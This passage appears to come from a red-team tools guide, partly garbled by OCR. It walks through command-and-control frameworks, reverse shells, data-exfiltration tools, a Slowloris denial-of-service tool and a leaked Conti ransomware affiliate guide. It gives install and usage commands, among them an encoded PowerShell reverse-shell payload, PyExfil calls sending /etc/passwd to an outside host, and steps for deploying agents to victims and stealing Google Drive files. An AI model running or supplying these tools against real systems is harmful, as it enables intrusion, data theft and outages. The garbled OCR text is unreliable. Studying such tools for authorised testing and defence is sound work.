reduce the likelihood of being blocked at the proxy level by security solutions.

This resource contains a list of trusted sites that can be used.

Usage:




Visit https://tinyurl.com/250I8pda

Search for +C&C in the search bar to view all potential domains / subdomains that can be used
for command and control operations.

Results include:

e raw.githubusercontent.com
e docs.google.com

e *azurewebsites.net

e dropbox.com

e *amazonaws.com

Y mrdox

Living Off Trusted Sites (LOTS) Project

Attackers are using popular legitimate domains when conducting phishing, C&C, exfiltration and downloading tools to evade detection. The list
of websites below allow attackers to use their domain or subdomain. Website design credits: LOLBAS & GTFOBins.

= |

Website Tags Service Provider v
raw.githubusercontent.com | Phishing I | C&C | | Download | Github

docs.google.com Google

*.azurewebsites.net | Phishing I | Download | I Exfiltration I | C&C | Microsoft

dropbox.com | Phishing I I Downloadl I Exfiltration I I C&C | Dropbox

*.amazonaws.com | Phishing | | Downloadl I Exfiltration l | C&C | Amazon Web Services
*.twitter.com C&C Twitter

Image used from https://tinyurl.com/250I8pda

* Havoc

Havoc is a modern and malleable post-exploitation command and control framework, created by
@Cbpider.

Features include: Sleep Obfuscation, x64 return address spoofing, Indirect Syscalls for Nt* APIs



Pre-requisites: (Ubuntu 20.04 / 22.04)

sudo apt install build-essential

sudo add-apt-repository ppa:deadsnakes/ppa
sudo apt update

sudo apt install python3.10 python3.10-dev

Build + Usage:

git clone https://tinyurl.com/2d99h72h.git
cd Havoc/Client

make

. /Havoc

Pre-requisites: (Ubuntu 20.04 / 22.04)

cd Havoc/Teamserver
go mod download golang.org/x/sys
go mod download github.com/ugorji/go

Build + Usage:

cd Teamserver
./Install.sh
make
./teamserver -h

Run the teamserver

sudo ./teamserver server ——profile ./profiles/havoc.yaotl -v —--debug

Full install, build and run instructions on the wiki



Havoc
Havoc View Att

@ demon_snb.

; jemon_smb. exe\5900
CTALON-DC\Administre Sofl_sph - ex\9200

\pparker]

43f9466 @ der
[SPIDER-PC\p|

er Chat X  [6a8: 6 parker/SPIDER-PC 73b3afc] Administrator/TALON-DC X [571be9ag] Administrator/TALON-DC X | [61832438] Administrator/TALON-DC X

Agent e £ s TALON. Ad ‘ :: [Interna i H ] [Arch: x64] [Pivof

t starting cnd.exe
Agent
ed Output [6

TALON\Administrator

GROUP INFORMATION

 Enabled by default, Enabled gr
y default, Enabled group, Group omner,

ertific rvi
UTHORITY\INTERACTIVE

, Enabled group,

d group,

group,

p, Enabled by defa i

Descriptio
[Administrator/TALON-DC] d e 4 (TALON.local)

& Covenant

Covenant is a .NET command and control framework, it has a web interface that allows for multi-
user collaboration.

It can be used to remotely control compromised systems and perform a variety of different
tasks, including executing arbitrary code, capturing keystrokes, exfiltrating data, and more.

Install: (Dotnet Core)
You can download dotnet core for your platform from here.

Note: After starting Covenant, you must register an initial user through the web interface.
Navigating to the web interface will allow you to register the initial user

git clone —-recurse-submodules https://tinyurl.com/2ytak3ya
cd Covenant/Covenant

Usage: (Dotnet Core)

~/Covenant/Covenant > dotnet run
warn: Microsoft.EntityFrameworkCore.Model.Validation[10400]

Sensitive data logging is enabled. Log entries and exception messages may i
WARNING: Running Covenant non-elevated. You may not have permission to start List
Covenant has started! Navigate to https://tinyurl.com/y5fup2cv in a browser



Install: (Docker)

git clone —-recurse-submodules https://tinyurl.com/2ytak3ya
cd Covenant/Covenant
~/Covenant/Covenant > docker build -t covenant .

Usage: (Docker)

~/Covenant/Covenant > docker run -it —-p 7443:7443 -p 80:80 —p 443:443 —--name cove
~/Covenant/Covenant > docker stop covenant

~/Covenant/Covenant > docker start covenant -ai

Full installation and startup instructions can be found on the wiki here.

‘! o-OVENANT

(@ Dashboard
Dashboard
) Listeners
4 Launchers Grunts
Grunts
Name 1t CommType Hostname UserName Status LastCheckin Integrity OperatingSystem Process
@ Tasks
176a56f1c8 SMB DESKTOP-F9DQ76G cobbr Active 7/18/19 9:21:46 PM High Microsoft Windows NT 10.0.17134.0 powershell
Taskings
Graph 31f991ef6e HTTP DESKTOP-FODQ76G cobbr Active 71819 9:49:18 PM High Microsoft Windows NT 10.0.17134.0 powershell
! Data 514¢08cc97 SMB DESKTOP-F9DQ76G cobbr Active 7/18/19 9:16:21 PM High Microsoft Windows NT 10.0.17134.0 powershell
Users . . X .
b564dcaal2 HTTP DESKTOP-F9DQ76G cobbr Active 7/18/19 9:49:15 PM High Microsoft Windows NT 10.0.17134.0 powershell
Showing 1to 4 of 4 entries Previous - Next
Listeners
Name ListenerType Status StartTime BindAddress BindPort
62eb6bda4al HTTP Active 7819 8:67:56 PM 0.0.0.0 80
Taskings
Name + Grunt Task Status UserName Command CommandTime CompletionTime
0903d01960 176a56f1c8 LogonPasswords Completed cobbr LogonPasswords 718119 9:21:111 PM 7M18/19 9:21:21 PM
2c72bGelce 311997ef6c Connect Progressed  cobbr connect localhost gruntsvc 71819 9:08:26 1/1/0112:00:00 AM
M
331eedd16¢c 176a5611¢c8 Powershell Completed  cobbr powershell SPSversionTable 718119 9:21:26 7/18/19 9:21:30 PM
PM
412dc61195 514¢08cc97 WhoAmI Completed cobbr whoami 7/18/19 8:16:07 7/18/19 9:16:10 PM

PM

Image from https://tinyurl.com/2ytak3ya



= Merlin

Merlin is an open-source post-exploitation framework that is designed to be used after a initial
compromise of a system.

It is written in Python and can be used to perform a variety of different tasks, such as executing
arbitrary code, moving laterally through a network, and exfiltrating data.

Install:
1. Download the latest compiled version of Merlin Server from the releases section
2. Extract the files with 7zip using the x function The password is: merlin
3. Start Merlin
4. Configure a listener
5. Deploy an agent. See Agent Execution Quick Start Guide for examples

mkdir /opt/merlin;cd /opt/merlin

wget https://tinyurl.com/yd3836u8/releases/latest/download/merlinServer-Linux-x64
7z x merlinServer-Linux-x64.7z

sudo ./merlinServer-Linux—x64

Usage:

1. Ensure the Merlin server is running with a configured listener
2. Download and deploy an agent to the victim

3. Execute agent

For detailed usage information see the official Merlin wiki.



sessions

............. $rsccccccnd

TRANSPORT | STATUS

HTTP/2 (h2) | Delayed |

------------- T

+
|
+
|
+

interact 332936fa-a3bd-4180-8b47-84bfc2r85e4c
shell ping 127.06.0.1

*Image from https://tinyurl.com/2218pwyh

= Metasploit Framework
Metasploit is an open-source framework for developing, testing, and using exploit code.

The Metasploit framework includes a large number of pre-built exploits and payloads, as well as
a fully-featured integrated development environment (IDE) for creating and testing custom
exploits.

Install: (Installer)

curl https://tinyurl.com/ha2nx63 > msfinstall && \
chmod 755 msfinstall && \
./msfinstall

Usage:
/opt/metasploit-framework/bin/msfconsole

Full installation instructions can be found on the official wiki.
Rapid7 Metasploit blogs

Cheat sheet graphic



Nice command list

~% msfconsole

ds, dsp
dsp ‘BP d888888p
d388888P 288"
dsbdsb.dsp d8888b ?88' d88sbsb dsp 28b 88P
88P"?P'?P d8b_,dP 88P d8P' 288 dsp dssssb $whi?8sb 88b
dsg d8 28 88b 8sb 88b ,88b 288, .d8sb, d8s dsP' 288 88P ‘?8b
d8g8' d8sb 8b'?8888P' ' ?8b’ 288P" 288" 288 2?88 88b d88 d88
88b dsP 88b'?28888P"
888888P"'  88n
dssp’

:[ ete loit v« 17

+ -- --=[ 541 payloads - 44 encoders - 10 nops

SE 7.30-dev ]
+ -- --=[ 1841 exploits - 1044 auxiliary - 320 post ]
]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

*Image used from https://tinyurl.com/28ny9e4f

Pupy

Pupy is an opensource, cross-platform (Windows, Linux, OSX, Android) C2 and post-exploitation
framework written in python and C.

It allows an attacker to remotely control a victim's computer and execute various actions, such
as command execution, key logging, and taking screen shots.

Install: (Git)

sudo apt install git libssll.0-dev libffi-dev python-dev python-pip build-essenti
git clone —-recursive https://tinyurl.com/p8zvzdo

cd pupy

python create-workspace.py -DG pupyw

Roll fix to fix the error:



sudo pip2 install rpyc==3.4.4

Start:

export PATH=$PATH:~/.local/bin; pupysh
pupyws/bin/pupysh

Git install instructions used from here.
Install: (Docker)
For detailed docker and pupy installation instructions see the wiki.

Usage:

>> sessions -h
>> jobs -h
>> run -h

>> sessions -i 1

>> I1s

Full usage information can be found on the wiki.

The wiki contains good post exploitation information.

sessions
user hostname platform release os_arch address

ud_a85 Tlocalhost android 3.4.0-cyanogenmod-geed6bc8 armv7/l 192.168.1.2
shell
/system/bin/sh: No controlling tty: open /dev/tty: No such device or address
/system/bin/sh: warning: won't have full job control
u@_a85@hammerhead:/data/data/org.pupy.pupy/files/service $ id
uid=10085(ul a85) gid=10085(ul a85) groups=1015(sdcard rw),1028(sdcard r),3003(inet) ,9997(evenr)

a85) context=u:r:untrusted app:s0
u@_a85@hammerhead:/data/data/org.pupy.pupy/files/service $ uname -a
Linux localhost 3.4.0-cyanogenmod-geedtbc8 #1 SMP PREEMPT Tue Sep 1 01:03:36 PDT 2015 armv71l G
u@_a85@hammerhead:/data/data/org.pupy.pupy/files/service $ exit
run android tts 'hello there !
The truth has been spoken !
run android cam -d 0
camera picture saved to data/webcam_snaps/snap_and localhost_ AS93 _2016-01-23 16-51




Image used from https://tinyurl.com/p8zvzdo/wiki/Screenshots

* Brute Ratel

BruteRatel is a great command and control (C4) framework created by @NinjaParanoid. The
framework consists of a client component 'badger’ that is installed on the compromised system,
and a server component 'commander!' that is run by the red team.

The client and server communicate with each other using various communication channels, such
as HTTP, DNS, or TCP, and can be configured to use different encoding and encryption methods
to evade detection.

Some nice features:

e DNS Over HTTPS

e Indirect Syscalls

e Built-in Debugger To Detect EDR Userland Hooks
e MITRE graph integration

e Adversary TTP automation
Install:

To legally get access to the framework you will need to buy a licence (1 Year $2500 per user).
See the pricing page for more information.

After purchase you can download the framework from here with your Activation Key and License
User ID.

Usage:

psimport

lock_input

dumpclip

dcenum

get_system



screenshot

shadowclone

Full commander terminal usage information can be found here.

Last Seen (Local Arch/0s (Bufld)  Payload Arch Pivet Streas

46:11 UTC [input] admin = ep explorer.exe 22/05 §: [ 244.2] [DESKTOP-G15FRLS\vendetta] [b-4\\3IN1A7CDR61R1IL4GLPOLUPLSLRFME1U]

et_child se

{+] Arch: x64
{+] User: DESKTOP-G15|
[+] Executable: explorer.e:

2 9 UTC [sent 4 bytes) L - 2 -60876 52 2 group, En by default, Enabled group,
DLL block enabled s Mandator , Enabled by default, Enabled group,
e d

s group, d by default, En
48 bytes] henoteIDeikcap Usars s % Y10 E -
notepad.exe) => 12836 T

o s- Mandator
NT AUTHORITY\Local account - Mandator
LOCAL s tor

group,
sent 381889 by NT AUTHO NTLM A roup, En: y En group,
0xB5DFO006 Mandatory Label\Medium Ma s 8192 Mandatory group, En default, Enabled group,
6xB5E30600
OXBSDFATE®
e : 6388
[+] Injected to : 12836

led g tion
- Disab = creas s working set)

Image used from https://tinyurl.com/2ycmheog

NimPlant
A light-weight first-stage C2 implant written in Nim.
Features:

e Lightweight and configurable implant written in the Nim programming language

e Encryption and compression of all traffic by default, obfuscates static strings in implant
artefacts

e Support for several implant types, including native binaries (exe/dll), shellcode or self-
deleting executables

e Easy deployment of more advanced functionality or payloads via inline-execute ,
shinject (using dynamic invocation), or in-thread execute-assembly

e Comprehensive logging of all interactions and file operations



Install:

curl https://tinyurl.com/s82ewuc —-sSf | sh
choosenim stable

git clone https://tinyurl.com/2xutf34p

cd client

nimble install -d

pip3 install -r server/requirements.txt
apt install mingw-w64

Usage:

python .\NimPlant.py compile all

python .\NimPlant.py server
Before running make sure to create the config.tool configuration file, more information can
be found here.
Full usage information can be found here.

Blog - Building a C2 Implant in Nim - Considerations and Lessons Learned



NimPlant 1 § > OSBuild

[18/87/2621 17:12:26] NimPlant 0S build is: Windows 18 build 19843
NimPlant 1 § > whoami

[18/07/2621 17:12:29] Staged command ‘whoami’.
[18/87/2821 17:12:38] Anonymous

NimPlant 1 § > getAv

[18/87/2821 17:12:35] Staged command ‘getav’.

[18/07/20621 17:12:36] Windows Defender

NimPlant 1 § > getDom

[18/87/2821 17:12:48] Staged command ‘getdom’ .
[18/87/2621 17:12:42] Computer is not domain joined
NimPlant 1 § > shell whoami /all

[18/07/2621 17:12:45) Staged command ‘shell whoami /all'.
[18/87/2621 17:12:48]

USER INFORMATION

Everyone Well-known group S-1-1-8 Mandatory group, Enabled by default, Ei
NT AUTHORITY\Local account and member of Administrators group Well-known group S-1-5-114 Group used for deny only
BUILTIN\Administrators Alias $-1-5-32-544 Group used for deny only
BUILTIN\Performance Log Users Alias §$-1-5-32-559 Mandatory group, Enabled by default, E

$

Image used from https://casvancooten.com

* Hoaxshell

A Windows reverse shell payload generator and handler that abuses the http(s) protocol to
establish a beacon-like reverse shell.

Install:

git clone https://tinyurl.com/295mlft5
cd ./hoaxshell

sudo pip3 install -r requirements.txt
chmod +x hoaxshell.py

Usage:

sudo python3 hoaxshell.py -s <your_ip>



sudo python3 hoaxshell.py -s <your_ip> —x "C:\Users\\\$env:USERNAME\. local\hack.p

sudo python3 hoaxshell.py -s <your.domain.com> -t -c </path/to/cert.pem> -k <path

Full usage documentation here.
Usage Demo - YouTube

Hoaxshell vs AV

[Info] Generating reverse shell payload..
powershell -e JABzADOAJWAXADYA AUADVAUAAUHDEACQA_HCdnHQAY DOHCAAUADQM“AHHADQMJAEDADOAJUBmADVACQA4A
jADVA1UA7ACQACAA0ACCABAE@AHQAC ABA
AGKAIAAKAHAAJABzAC8BAZgA2ADk CAAlAGUAUGB A :
Ck Heuh\HGUAPQAOAE/AbGEZAGUHauElACGAM I AHEA GUHQGEMAHUAaQEjAFAAVQEHAHU’
kAZQAgACOASABIAGEAZ AEth-HLUHQAEHHeUHlAFQALQAUADUA“HH‘AC@ ADADVAVQAIADQAWHEpHHQHKQAuHEU b“EUHHQH_.
AKQAQAHQA]AE‘AD@A&QBlAHCA‘AA‘AG“A‘A AEUACgBY  pPAGBAbgAgAFMAdABVAHAATIA
/ i AJABOADBASQBUAHYAbWBrAGUALQBXAG
_HEGH_QEGHGﬂHbuE<HCAHUAEPHFUHMAHGACOH_ 31 AGEAZAB1AHIACWASAEAAewAIAFgALQAWADUA
B1AGOALgBUAGUAeABOACAARQBUAGMAbWBKA VAbGBnHF@HCﬂAUHFUHVAEGADOALﬂEHAbUAdAELAH/AdABlAHUAKAA/AGUAKHA/A
AALgA4AHOA
Fo] Type "help" to get a list of the available prompt commands.
Http Server started on port 8086.
] Awaiting payload execution to initiate shell session...
Payload execution verified!
Stabilizing command prompt...

get-date
2022 11:06

steminfo findstr /B /C:"0S N\ " /C:"0S Version" /C:'

PS C:\Users)

Image used from https://tinyurl.com/295mlft5

Exfiltration



* Dnscat2

A tool for establishing C2 connections via DNS, even if the attacker and victim machines are
behind a firewall / network address translation (NAT).

The tool is designed to be stealthy and difficult to detect, as it uses legitimate DNS traffic to
transmit data.

Install: (Compile - Server)

git clone https://tinyurl.com/mtvxwvl.git
cd dnscat2/server/

gem install bundler

bundle install

Install: (Compile - Client)

git clone https://tinyurl.com/mtvxwvl.git
cd dnscat2/client/
make

Full installation information can be found in the Installation Section.

Usage: (Server)

ruby ./dnscat2.rb DOMAIN.COM

Usage: (Client)

./dnscat2 DOMAIN.COM

./dnscat2 --dns host=0.0.0.0,port=0000

./dnscat ——ping DOMAIN.COM

./dnscat —-dns server=0.0.0.0,domain=DOMAIN.COM —--ping



Usage: (Tunnels)

listen [lhost:]1lport rhost:rport

listen 127.0.0.1:2222 10.10.10.10:22

Full usage information can be found in the Usage Section.

“Cloakify

When exfiltrating victim files, DLP (Data Loss Prevention) solutions will typically trigger on
strings within these files. Cloakify reduces this risk by transforming the data.

Cloakify transforms any filetype (e.g. .zip, .exe, .xls, etc.) into a list of harmless-looking strings.
This lets you hide the file in plain sight, and transfer the file without triggering alerts.

Note: You can make your own ciphers, see here for more info.

Install:

git clone https://tinyurl.com/jbtnmto



python3 cloakify.py TEXT.txt ciphers/desserts.ciph > TEXT.cloaked

python3 decloakify.py TEXT.cloaked ciphers/desserts.ciph
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designed to show several techniques of data exfiltration is real-world scenarios."

Install:

git clone https://tinyurl.com/25nzxfb2 PyExfil;pip install -r requirements.txt;pi

Usage: (Full Usage here)

HTTP Cookies

from pyexfil.network.HTTP_Cookies.http_exfiltration import send_file, listen

send_file(addr="http://www.morirt.com', file_path=FILE_TO_EXFIL)

listen(local_addr='127.0.0.1"', local_port=80)

ICMP Echo 8

from pyexfil.network.ICMP.icmp_exfiltration import send_file, init_listener

ip_addr = "127.0.0.1"
send_file(ip_addr, src_ip_addr="127.0.0.1", file_path="", max_packetsize=512, SLE

init_listener(ip_addr, saving_location="/tmp/")

NTP Request

from pyexfil.network.NTP.ntp_exfil import exfiltrate, ntp_listen, NTP_UDP_PORT

ip_addr = "127.0.0.1"
exfiltrate("/etc/passwd", ip_addr, time_delay=0.1)

ntp_listener(ip="0.0.0.0", port=NTP_UDP_PORT)



$ sudo python dblsp.py

To communicate between two hosts over broadcast you will need:
1) Setup an ecnryption key whichi will be identical on both host
set key 123456
2) Know which host is going to broadcast the message:
set listener 10.0.0.1
3) Start active mode:
active 10.0.0.255

Now just send messages with:
send "hello world"

DB_LSP > set key 123456

key --> 123456.
DB_LSP > set listener 10.0.0.2

Tistener --> 10.0.0.2.
DB_LSP > active 10.0.0.255
Starting active mode with 10.0.0.255.
Starting listener for 10.0.0.2.
10.0.0.255@B_LSP > send hello

184 bytes sent to ('10.0.0.255", 17500).
10.0.0.255@DB_LSP >

* powershell RAT

Python based backdoor that uses Gmail to exfiltrate data as an e-mail attachment. It tracks the
user activity using screen capture and sends the information to an attacker as an e-mail
attachment.

Install:
git clone https://tinyurl.com/2alesova

Usage: (Full Usage here)

Setup

e Throwaway Gmail address



e Enable "Allow less secure apps" by going to https://tinyurl.com/I2uogm?2

e Modify the $username & $password variables for your account in the Mail.ps1 Powershell
file

e Modify $msg.From & $msg.To.Add with throwaway gmail address

~GD-Thief
Tool for exfiltrating files from a target's Google Drive that you have access to, via Google's API.

This includes all shared files, all files from shared drives, and all files from domain drives that the
target has access to.

Install:

git clone https://tinyurl.com/27uex34g.git
cd GD-Thief
pip install —-upgrade google-api-python-client google-auth-httplib2 google-auth-o

then...

1. Create a new Google Cloud Platform (GCP) project
2. Enable a Google Workspace API



3. Configure OAuth Consent screen
4. Create a credential

5. Add the victim's Google account to the Application's Test Users
For detailed setup instructions see the How To Guide.

Usage:

usage:
python3 gd_thief.py [-h] -m [{d1Al1l, dlDict[-d <DICTIONARY FILE PATH>]}
[-t <THREAD COUNT>]

help:

This Module will connect to Google's API using an access token and exfiltrate fil
from a target's Google Drive. It will output exfiltrated files to the ./loot dir

arguments:
-m [{d1A11l, dlDict}],
—-mode [{d1A11l, dlDict}]
The mode of file download
Can be "dlAll", "dlDict [-d <DICTIONARY FILE PATH>]", or... (More

optional arguments:
—d <DICTIONARY FILE PATH>, —-dict <DICTIONARY FILE PATH>
Path to the dictionary file. Mandatory with download mode
You can use the provided dictionary, per example: "-d ./d
-t <THREAD COUNT>, —--threads <THREAD COUNT>
Number of threads. (Too many could exceeed Google's rate

-h, ——help
show this help message and exit

Nice blog post explaining the logic behind the tool.

Impact

& Conti Pentester Guide Leak

Conti is a ransomware group that is known for targeting large organizations and using
sophisticated tactics to evade detection and maximize the impact of their attacks.

Conti has been responsible for a number of high-profile ransomware attacks, including ones



against the computer systems of the City of Pensacola, Florida, and the computer systems of
the Irish health service.

The Conti Pentester Guide Leak - Repository contains leaked pentesting materials given to Conti
ransomware group affilates.

Topics include:

e Configuring Rclone with MEGA for data exfiltration

e Configuring AnyDesk as persistence and remote access into a victim’s network

¢ Elevating and gaining admin rights inside a company’s hacked network

e Taking over domain controllers

e Dumping passwords from Active Directory

Note: vx-underground.org obtained more training materials and tools used by Conti ransomware

operators here.
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= SlowLoris
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Slowloris is a type of denial-of-service (DoS) attack that involves sending HTTP requests to a
web server in a way that ties up the server's resources, preventing it from being able to process

legitimate requests.

This attack would typically be conducted with a botnet, it is designed to be difficult to detect
and mitigate, as it uses a relatively small number of connections and does not generate a large

amount of traffic.

Install: (Pip)

sudo pip3 install slowloris



Install: (Git)

git clone https://tinyurl.com/ke38f3x.git
cd slowloris

Usage:

slowloris example.comr

python3 slowloris.py example.com

xusbkill

This is an anti-forensic kill-switch that waits for a change in USB port status, immediately
shutting down endpoint if a change is detected.

In some situations, it is imperative that no data is added or removed from an endpoint via USB.
This is where USBKkill comes in.

Install:

git clone https://tinyurl.com/ko7yqgg
cd usbkill
./setup.py install



Usage:

sudo python3 usbkill.py

p/usbkill-master?

f f
: ter# 1
build install ADME.md Res ces setup.py usbkill
:~/Desktop/usbkill-master
:~/Desktop/usbkill-master/usbkil 1#

~/Desktop/usbkill-master/usbkill

:~/Desktop/usbkill-master/usbkil l#
usbkill.py

~/Desktop/usbkill-master/usbkil £

*Image used from https://tinyurl.com/2afsvmwx

= Keytap

This is a tool that can guess the pressed keyboard keys from the audio of a computer's
microphone.

Keytap2 can also be used to retrieve text from audio snippets of keyboard typing.

Install: (Build)

git clone https://tinyurl.com/y9atraoe
cd kbd-audio

git submodule update —-init

mkdir build && cd build

cmake ..

make



Usage:

./record-full output.kbd [-cN]

./play-full input.kbd [-pN]

./record output.kbd [-cN] [-CN]

See full usage documentation here.

Try the online demo at https://keytap.ggerganov.com/.
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